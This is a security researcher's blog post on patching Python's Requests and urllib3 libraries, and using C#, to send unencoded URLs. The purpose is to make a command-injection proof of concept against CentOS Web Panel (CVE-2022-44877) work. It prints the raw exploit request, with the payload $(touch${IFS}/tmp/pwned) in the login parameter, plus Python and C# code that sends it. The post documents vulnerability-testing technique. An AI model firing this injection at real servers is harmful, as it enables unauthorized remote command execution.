0x00 Preface

---

While using the Python Requests library to send HTTP packets, I discovered that the Requests library encodes URLs by default. However, when testing certain vulnerabilities, triggering the vulnerability requires the raw data of the URL, necessitating the disabling of URL encoding functionality. This article will introduce my solution and document the research details.

0x01 Introduction

---

This article will cover the following:

  • Test Environment
  • Solution

0x02 Test Environment

---

While researching CVE-2022-44877, I encountered the following situation:

The POC for achieving file write is as follows:

POST /login/index.php?login=$(touch${IFS}/tmp/pwned) HTTP/1.1
Host: 10.13.37.10:2031
Cookie: cwpsrv-2dbdc5905576590830494c54c04a1b01=6ahj1a6etv72ut1eaupietdk82
Content-Length: 40
Origin: https://10.13.37.10:2031
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: https://10.13.37.10:2031/login/index.php?login=failed
Accept-Encoding: gzip, deflate
Accept-Language: en
Connection: close

username=root&password=toor&commit=Login

Based on the POC, we can write the corresponding Python test code:

headers = {
"Cookie": "cwpsrv-7ed373abced7574da1245607e756e862=nfetkn56pkkdbqhht2hpl46bsa",
"Content-Type": "application/x-www-form-urlencoded",
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
"Accept-Encoding": "gzip, deflate, br",
"Accept-Language": "en-US,en;q=0.9",
}

proxies = {
'http': 'http://127.0.0.1:8080',
'https': 'http://127.0.0.1:8080',
}
url = target_url + "/login/index.php?login=$(touch${IFS}/tmp/pwned)"
data = "username=root&password=toor&commit=Login"
response = requests.post(url=url, headers=headers, data=data, verify=False, timeout=500, proxies=proxies)
print(response.status_code)

For testing purposes, the Python test code adds a proxy when sending POST data, allowing us to observe the actual content sent using BurpSuite, as shown in the figure below

Alt text

We can observe that the URL here has been encoded. The original data: /login/index.php?login=$(touch${IFS}/tmp/pwned) was encoded to /login/index.php?login=$(touch$%7BIFS%7D/tmp/pwned), which would cause the exploit to fail.

0x03 Solution

---

After some searching, I did not find a publicly available solution, so I decided to examine the details of the Requests library. By modifying the implementation code of the Requests library, I removed the URL encoding functionality.

The location of the Python Requests library code on Kali is /usr/lib/python3/dist-packages/requests/. Specifically, the following two locations need to be modified:

1. /usr/lib/python3/dist-packages/requests/models.py

In the function def prepare_url(self, url, params) in /usr/lib/python3/dist-packages/requests/models.py, the code details are:

Line 443: url = requote_uri(urlunparse([scheme, netloc, path, None, query, fragment]))

To view the specific implementation code of requote_uri(), the location is: /usr/lib/python3/dist-packages/requests/utils.py, code details:

def requote_uri(uri):
"""Re-quote the given URI.

This function passes the given URI through an unquote/quote cycle to
ensure that it is fully and consistently quoted.

:rtype: str
"""
safe_with_percent = "!#$%&'()*+,/:;=?@[]~"
safe_without_percent = "!#$&'()*+,/:;=?@[]~"
try:
# Unquote only the unreserved characters
# Then quote only illegal characters (do not quote reserved,
# unreserved, or '%')
return quote(unquote_unreserved(uri), safe=safe_with_percent)
except InvalidURL:
# We couldn't unquote the given URI, so let's try quoting it, but
# there may be unquoted '%'s in the URI. We need to make sure they're
# properly quoted so they do not cause issues elsewhere.
return quote(uri, safe=safe_without_percent)

Here the quote() function is called to encode the uri, { is encoded as %7B, } is encoded as %7D

Solution:

Modify the file /usr/lib/python3/dist-packages/requests/models.py

Comment out Line443: url = requote_uri(urlunparse([scheme, netloc, path, None, query, fragment]))

2./usr/lib/python3/dist-packages/urllib3/connectionpool.py

In the function def send(self, request, stream=False, timeout=None, verify=True, cert=None, proxies=None) in /usr/lib/python3/dist-packages/requests/adapters.py, code details:

try:
if not chunked:
resp = conn.urlopen(
method=request.method,
url=url,
body=request.body,
headers=request.headers,
redirect=False,
assert_same_host=False,
preload_content=False,
decode_content=False,
retries=self.max_retries,
timeout=timeout,
)

View the specific implementation code of urlopen(), location: /usr/lib/python3/dist-packages/urllib3/connectionpool.py, code details:

def urlopen(
self,
method,
url,
body=None,
headers=None,
retries=None,
redirect=True,
assert_same_host=True,
timeout=_Default,
pool_timeout=None,
release_conn=None,
chunked=False,
body_pos=None,
**response_kw
):
# Ensure that the URL we're connecting to is properly encoded
if url.startswith("/"):
url = six.ensure_str(_encode_target(url))
else:
url = six.ensure_str(parsed_url.url)

View the specific implementation code of _encode_target(), location: /usr/lib/python3/dist-packages/urllib3/util/url.py, code details:

def _encode_target(target):
"""Percent-encodes a request target so that there are no invalid characters"""
path, query = TARGET_RE.match(target).groups()
target = _encode_invalid_chars(path, PATH_CHARS)
query = _encode_invalid_chars(query, QUERY_CHARS)
if query is not None:
target += "?" + query
return target

View the specific implementation code of parsed_url(), location: /usr/lib/python3/dist-packages/urllib3/util/url.py, code details:

def parse_url(url):
if normalize_uri and query:
query = _encode_invalid_chars(query, QUERY_CHARS)

Both of the above parts ultimately point to _encode_invalid_chars(), location: /usr/lib/python3/dist-packages/urllib3/util/url.py, code details:

def _encode_invalid_chars(component, allowed_chars, encoding="utf-8"):
"""Percent-encodes a URI component without reapplying
onto an already percent-encoded component.
"""
if component is None:
return component

component = six.ensure_text(component)

# Normalize existing percent-encoded bytes.
# Try to see if the component we're encoding is already percent-encoded
# so we can skip all '%' characters but still encode all others.
component, percent_encodings = PERCENT_RE.subn(
lambda match: match.group(0).upper(), component
)

uri_bytes = component.encode("utf-8", "surrogatepass")
is_percent_encoded = percent_encodings == uri_bytes.count(b"%")
encoded_component = bytearray()

for i in range(0, len(uri_bytes)):
# Will return a single character bytestring on both Python 2 & 3
byte = uri_bytes[i : i + 1]
byte_ord = ord(byte)
if (is_percent_encoded and byte == b"%") or (
byte_ord < 128 and byte.decode() in allowed_chars
):
encoded_component += byte
continue
encoded_component.extend(b"%" + (hex(byte_ord)[2:].encode().zfill(2).upper()))

return encoded_component.decode(encoding)

Here, _encode_invalid_chars() is called to encode the URL

Solution:

Modify the file /usr/lib/python3/dist-packages/urllib3/connectionpool.py

Remove the following code in urlopen():

Line649 if url.startswith("/"):
Line650 url = six.ensure_str(_encode_target(url))
Line651 else:
Line652 url = six.ensure_str(parsed_url.url)

Observe the actual content sent again using BurpSuite, as shown in the figure below

Alt text

URL not encoded, issue resolved

0x04 Solution 2

---

Here, C# can also be used to implement sending POST data, avoiding URL encoding. The implementation code is as follows:

String target = args[0] + "/login/index.php?login=$(touch${IFS}/tmp/pwned)";
bool dontEscape = true;
var url = new Uri(target, dontEscape);
HttpWebRequest hwr = WebRequest.Create(url) as HttpWebRequest;

0x05 Summary

---

This article introduces the method of disabling URL encoding by modifying the Python Requests library, and also provides the implementation code for disabling URL encoding in C#, documenting the research details.